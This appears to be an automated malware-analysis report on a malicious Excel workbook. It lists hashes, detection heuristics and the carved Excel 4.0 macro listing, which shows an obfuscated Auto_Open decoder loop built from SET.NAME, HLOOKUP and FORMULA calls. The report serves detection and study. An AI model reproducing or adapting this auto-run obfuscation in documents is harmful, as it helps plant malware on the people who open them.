Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6574d0759a4d0577…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:14 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: b322662bbc1e875baba502eaff0bcd6e SHA-1: 4760c9cdc43be0aa340e0d9f590260c8e7ab7ea4 SHA-256: 6574d0759a4d05770b4af1054c455e07e2d6c4be275cb9c6229071c45b2ac953
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6715 bytes
SHA-256: b44b03bc898131e326e686d1669886719a3f66967affc7f86ba6863c1ebc7172
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WUcwUYCHpZf
' 0018     25 LABEL : Cell Value, String Constant - AJTteHMEJA len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C153 
' 0018     27 LABEL : Cell Value, String Constant - BeBWiHytCNoT len=0 
' 0018     21 LABEL : Cell Value, String Constant - cWmuan len=0 
' 0018     23 LABEL : Cell Value, String Constant - dwrWphXP len=0 
' 0018     26 LABEL : Cell Value, String Constant - dXvbzNziZpr len=0 
' 0018     25 LABEL : Cell Value, String Constant - eSGxorzQfF len=0 
' 0018     25 LABEL : Cell Value, String Constant - EyBzHAwrCL len=0 
' 0018     24 LABEL : Cell Value, String Constant - FPsLgiLEE len=0 
' 0018     24 LABEL : Cell Value, String Constant - gkETVZFPz len=0 
' 0018     23 LABEL : Cell Value, String Constant - HuBsonvS len=0 
' 0018     21 LABEL : Cell Value, String Constant - iZYEKm len=0 
' 0018     20 LABEL : Cell Value, String Constant - kbgVv len=0 
' 0018     26 LABEL : Cell Value, String Constant - MgqLBwgZFDB len=0 
' 0018     24 LABEL : Cell Value, String Constant - mtaaFYHnx len=0 
' 0018     24 LABEL : Cell Value, String Constant - ObhVGndQo len=0 
' 0018     25 LABEL : Cell Value, String Constant - obMTsFxDNB len=0 
' 0018     21 LABEL : Cell Value, String Constant - oGsAmJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - oLoSFIa len=0 
' 0018     25 LABEL : Cell Value, String Constant - spHIrHaRmf len=0 
' 0018     24 LABEL : Cell Value, String Constant - VfCuwHPgz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WUcwUYCHpZf,C54,"SET.NAME("dwrWphXP",VALUE("0"))",""
'  WUcwUYCHpZf,C57,"SET.NAME("oGsAmJ",dwrWphXP)",""
'  WUcwUYCHpZf,C62,"SET.NAME("BeBWiHytCNoT",dwrWphXP)",""
'  WUcwUYCHpZf,C67,"SET.NAME("kbgVv",COUNTA(MgqLBwgZFDB))",""
'  WUcwUYCHpZf,C72,"SET.NAME("AJTteHMEJA",COUNTA(FPsLgiLEE))",""
'  WUcwUYCHpZf,C77,[],""
'  WUcwUYCHpZf,C80,"SET.NAME("iZYEKm","")",""
'  WUcwUYCHpZf,C84,"oGsAmJ",""
'  WUcwUYCHpZf,C87,"SET.NAME("VfCuwHPgz",HLOOKUP("*",MgqLBwgZFDB,oGsAmJ,FALSE))",""
'  WUcwUYCHpZf,C91,"EyBzHAwrCL",""
'  WUcwUYCHpZf,C96,"SET.NAME("dXvbzNziZpr",dwrWphXP)",""
'  WUcwUYCHpZf,C101,[],""
'  WUcwUYCHpZf,C105,"dXvbzNziZpr",""
'  WUcwUYCHpZf,C108,"oLoSFIa",""
'  WUcwUYCHpZf,C110,"HuBsonvS",""
'  WUcwUYCHpZf,C113,"spHIrHaRmf",""
'  WUcwUYCHpZf,C116,"SET.NAME("gkETVZFPz",VALUE(HLOOKUP("*",FPsLgiLEE,spHIrHaRmf,FALSE)))",""
'  WUcwUYCHpZf,C119,"eSGxorzQfF",""
'  WUcwUYCHpZf,C123,"iZYEKm",""
'  WUcwUYCHpZf,C125,"BeBWiHytCNoT",""
'  WUcwUYCHpZf,C129,NEXT(),""
'  WUcwUYCHpZf,C133,"obMTsFxDNB",""
'  WUcwUYCHpZf,C137,"SET.NAME("f",INT(T(FORMULA(T(iZYEKm)&"",""&T(obMTsFxDNB)))))",""
'  WUcwUYCHpZf,C142,"mtaaFYHnx",""
'  WUcwUYCHpZf,C146,NEXT(),""
'  WUcwUYCHpZf,C149,RETURN(),""
'  WUcwUYCHpZf,C180,"SET.NAME("ObhVGndQo",C54)",""
'  WUcwUYCHpZf,C182,"MgqLBwgZFDB",""
'  WUcwUYCHpZf,C184,"SET.NAME("FPsLgiLEE",R99C12)",""
'  WUcwUYCHpZf,C189,"SET.NAME("mtaaFYHnx",197)",""
'  WUcwUYCHpZf,C194,"SET.NAME("cWmuan",3)",""
'  WUcwUYCHpZf,C196,ObhVGndQo(),""
'  WUcwUYCHpZf,C197,HALT(),""